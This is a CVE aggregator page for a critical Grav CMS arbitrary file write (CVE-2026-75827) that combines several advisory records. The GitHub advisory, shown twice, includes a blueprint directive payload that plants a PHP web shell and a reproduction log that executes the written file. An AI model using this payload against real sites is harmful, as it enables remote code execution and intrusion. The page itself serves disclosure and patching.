Every CVE Search/ Get API key

CVE-2026-75827

Grav before 2.0.15 Arbitrary File Write via error_log

9.3 CriticalPublic exploitFix available

Grav before 2.0.15 contains an arbitrary file write vulnerability in the Blueprint dynamic-data bare-function validation that uses an incomplete denylist instead of a positive allowlist. Attackers with page-edit or blueprint-config access can invoke the error_log function through a data directive to append PHP payloads to web-accessible files, achieving remote code execution.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.86%Up 0.3 points since Aug 19, 2026
90%50%10%1%

What each source reports

CVE List Score used 9.3

Grav before 2.0.15 Arbitrary File Write via error_log

Grav before 2.0.15 contains an arbitrary file write vulnerability in the Blueprint dynamic-data bare-function validation that uses an incomplete denylist instead of a positive allowlist. Attackers with page-edit or blueprint-config access can invoke the error_log function through a data directive to append PHP payloads to web-accessible files, achieving remote code execution.

Record
CVE-2026-75827
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
EUVDEUVD-2026-60591 9.3

Grav before 2.0.15 contains an arbitrary file write vulnerability in the Blueprint dynamic-data bare-function validation that uses an incomplete denylist instead of a positive allowlist. Attackers with page-edit or blueprint-config access can invoke the error_log function through a data directive to append PHP payloads to web-accessible files, achieving remote code execution.

Record
EUVD-2026-60591
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-f8wv-xp27-6gq7 9.3

Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write

Affected versions and vulnerable location

  • Confirmed on grav core at 78ebfc1 (tag 2.0.13).
  • Sinks:
    • system/src/Grav/Common/Data/Blueprint.php:455-458 call_user_func_array($o, $params) (bare-function dynamic-data provider).
    • Twin: system/src/Grav/Framework/Flex/FlexDirectory.php:936-938 call_user_func_array($function, $params).
  • Validation gate: Blueprint::isSafeDynamicCall() at Blueprint.php:514-536.
    • Class::method branch (:514-527) uses a strict positive allowlist self::$allowedDynamicCallables.
    • Bare-function branch (:530-534) uses only a denylist: if (is_string($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);.
  • Denylist: Utils::isDangerousFunction() (system/src/Grav/Common/Utils.php, list around :2020-2270).

Root cause

GHSA-7pgq/CVE-2026-64850 hardened the Class::method half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (isDangerousFunction). Any bare PHP function not on that list executes.

error_log is not on the denylist (verified: no occurrence in Utils.php). error_log($message, 3, $destination) appends attacker-controlled $message to attacker-controlled file $destination, an arbitrary-file-append primitive. paramsContainDangerousCallable() (:587-603) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (stream_socket_client, dl, and mb_send_mail are likewise absent, giving SSRF/other primitives.)

Attacker model

The same surface the published dynamic-data advisories accept as reachable: a data-*@ directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a data@ field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.

Reachability trace

  1. Author a blueprint field with a bare-function data directive, e.g. data-options@: ['error_log', '<?php system($_GET[0]); ?>', 3, 'user/data/x.php'].
  2. Blueprint::init() resolves the directive; isSafeDynamicCall('error_log', $params) reaches the bare-function branch (:530), isDangerousFunction('error_log') is false, paramsContainDangerousCallable([...]) is false (no callable strings), so it returns true.
  3. call_user_func_array('error_log', ['<?php ...', 3, 'user/data/x.php']) (:455) appends the PHP payload to user/data/x.php.
  4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct error_log write, not an upload.

Reproduction

Executed end to end against the real Grav\Common\Data\Blueprint class loaded via composer install autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public Blueprint::isSafeDynamicCall(), then drove the sink and executed the written file:

[1] isSafeDynamicCall('error_log', [payload,3,dest]) => true      # guard ACCEPTS error_log (bug)
[2] isSafeDynamicCall('system', ['id']) => false                  # control
    isSafeDynamicCall('exec',   ['id']) => false                  # control
[3] call_user_func_array('error_log', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/grav_rce_proof.php'])
    file written: /tmp/grav_rce_proof.php (23 bytes) = <?php echo "PWNED"; ?>
[4] php /tmp/grav_rce_proof.php  =>  PWNED                        # arbitrary PHP executed (RCE)

The guard returns true for error_log (and false for the denylisted system/exec controls), the error_log sink wrote attacker PHP to disk, and executing that file yielded PWNED. Source confirmation:

rg -n "error_log|stream_socket_client|mb_send_mail" system/src/Grav/Common/Utils.php   # no hits
rg -n…
Record
GHSA-f8wv-xp27-6gq7
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
GitHub AdvisoriesGHSA-fwwx-3362-3947 9.3

Duplicate Advisory: Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-f8wv-xp27-6gq7. This link is maintained to preserve external references.

Original Description

Grav before 2.0.15 contains an arbitrary file write vulnerability in the Blueprint dynamic-data bare-function validation that uses an incomplete denylist instead of a positive allowlist. Attackers with page-edit or blueprint-config access can invoke the error_log function through a data directive to append PHP payloads to web-accessible files, achieving remote code execution.

Record
GHSA-fwwx-3362-3947
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
NVD 9.3

Grav before 2.0.15 contains an arbitrary file write vulnerability in the Blueprint dynamic-data bare-function validation that uses an incomplete denylist instead of a positive allowlist. Attackers with page-edit or blueprint-config access can invoke the error_log function through a data directive to append PHP payloads to web-accessible files, achieving remote code execution.

Record
CVE-2026-75827
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSV 9.3

Grav before 2.0.15 Arbitrary File Write via error_log

Grav before 2.0.15 contains an arbitrary file write vulnerability in the Blueprint dynamic-data bare-function validation that uses an incomplete denylist instead of a positive allowlist. Attackers with page-edit or blueprint-config access can invoke the error_log function through a data directive to append PHP payloads to web-accessible files, achieving remote code execution.

Record
CVE-2026-75827
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-94
Updated
2026-11-02
OSVGHSA-f8wv-xp27-6gq7 9.3

Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write

Affected versions and vulnerable location

  • Confirmed on grav core at 78ebfc1 (tag 2.0.13).
  • Sinks:
    • system/src/Grav/Common/Data/Blueprint.php:455-458 call_user_func_array($o, $params) (bare-function dynamic-data provider).
    • Twin: system/src/Grav/Framework/Flex/FlexDirectory.php:936-938 call_user_func_array($function, $params).
  • Validation gate: Blueprint::isSafeDynamicCall() at Blueprint.php:514-536.
    • Class::method branch (:514-527) uses a strict positive allowlist self::$allowedDynamicCallables.
    • Bare-function branch (:530-534) uses only a denylist: if (is_string($function) && Utils::isDangerousFunction($function)) return false; return !self::paramsContainDangerousCallable($params);.
  • Denylist: Utils::isDangerousFunction() (system/src/Grav/Common/Utils.php, list around :2020-2270).

Root cause

GHSA-7pgq/CVE-2026-64850 hardened the Class::method half of the dynamic-callable validation to a positive allowlist because a page-edit account could otherwise name any static method as a provider and reach file/secret gadgets. The bare-function half was left on a denylist (isDangerousFunction). Any bare PHP function not on that list executes.

error_log is not on the denylist (verified: no occurrence in Utils.php). error_log($message, 3, $destination) appends attacker-controlled $message to attacker-controlled file $destination, an arbitrary-file-append primitive. paramsContainDangerousCallable() (:587-603) only scans params for dangerous callable strings, so a PHP payload string and a destination path both pass. (stream_socket_client, dl, and mb_send_mail are likewise absent, giving SSRF/other primitives.)

Attacker model

The same surface the published dynamic-data advisories accept as reachable: a data-*@ directive in a form blueprint the Form plugin assembles from page frontmatter (GHSA-fj2p), or a data@ field in a Flex directory/pages/users blueprint (GHSA-c4wf). A page-edit / blueprint-config account, no shell.

Reachability trace

  1. Author a blueprint field with a bare-function data directive, e.g. data-options@: ['error_log', '<?php system($_GET[0]); ?>', 3, 'user/data/x.php'].
  2. Blueprint::init() resolves the directive; isSafeDynamicCall('error_log', $params) reaches the bare-function branch (:530), isDangerousFunction('error_log') is false, paramsContainDangerousCallable([...]) is false (no callable strings), so it returns true.
  3. call_user_func_array('error_log', ['<?php ...', 3, 'user/data/x.php']) (:455) appends the PHP payload to user/data/x.php.
  4. Writing to a web-served path (or any path later included) yields code execution. The upload extension denylist does not apply, this is a direct error_log write, not an upload.

Reproduction

Executed end to end against the real Grav\Common\Data\Blueprint class loaded via composer install autoload (PHP 8.5.8, core clone at HEAD 78ebfc1). A harness called the real public Blueprint::isSafeDynamicCall(), then drove the sink and executed the written file:

[1] isSafeDynamicCall('error_log', [payload,3,dest]) => true      # guard ACCEPTS error_log (bug)
[2] isSafeDynamicCall('system', ['id']) => false                  # control
    isSafeDynamicCall('exec',   ['id']) => false                  # control
[3] call_user_func_array('error_log', ['<?php echo "PWNED"; ?>'.EOL, 3, '/tmp/grav_rce_proof.php'])
    file written: /tmp/grav_rce_proof.php (23 bytes) = <?php echo "PWNED"; ?>
[4] php /tmp/grav_rce_proof.php  =>  PWNED                        # arbitrary PHP executed (RCE)

The guard returns true for error_log (and false for the denylisted system/exec controls), the error_log sink wrote attacker PHP to disk, and executing that file yielded PWNED. Source confirmation:

rg -n "error_log|stream_socket_client|mb_send_mail" system/src/Grav/Common/Utils.php   # no hits
rg -n…
Record
GHSA-f8wv-xp27-6gq7
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSVGHSA-fwwx-3362-3947 9.3

Duplicate Advisory: Grav: Blueprint dynamic-data bare-function branch is denylist-gated and omits error_log, giving arbitrary file write

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-f8wv-xp27-6gq7. This link is maintained to preserve external references.

Original Description

Grav before 2.0.15 contains an arbitrary file write vulnerability in the Blueprint dynamic-data bare-function validation that uses an incomplete denylist instead of a positive allowlist. Attackers with page-edit or blueprint-config access can invoke the error_log function through a data directive to append PHP payloads to web-accessible files, achieving remote code execution.

Record
GHSA-fwwx-3362-3947
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
getgrav/grav
Packagist
through 2.0.14
2.0.15
getgrav/grav
Packagist
before 2.0.15, plus listed versions
0.8.00.9.00.9.10.9.100.9.11
Show 45 moreShow less
0.9.120.9.130.9.140.9.150.9.160.9.170.9.180.9.190.9.20.9.200.9.210.9.220.9.230.9.240.9.250.9.260.9.270.9.280.9.290.9.30.9.300.9.310.9.320.9.330.9.340.9.350.9.360.9.370.9.380.9.390.9.40.9.400.9.410.9.420.9.430.9.440.9.450.9.50.9.60.9.70.9.80.9.91.0.01.0.0-rc.11.0.0-rc.2
2.0.15

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
PoC in GitHubabraxas/CVE-2026-758272026-09-18

History

History
RecordedChangedSources
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-75827 is a critical vulnerability (CVSS 9.3) in Getgrav Grav, published August 18, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.86%, the 58th percentile. Fixed in getgrav/grav 2.0.15.

References

This page doesn't list everything

Left out here: 299 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open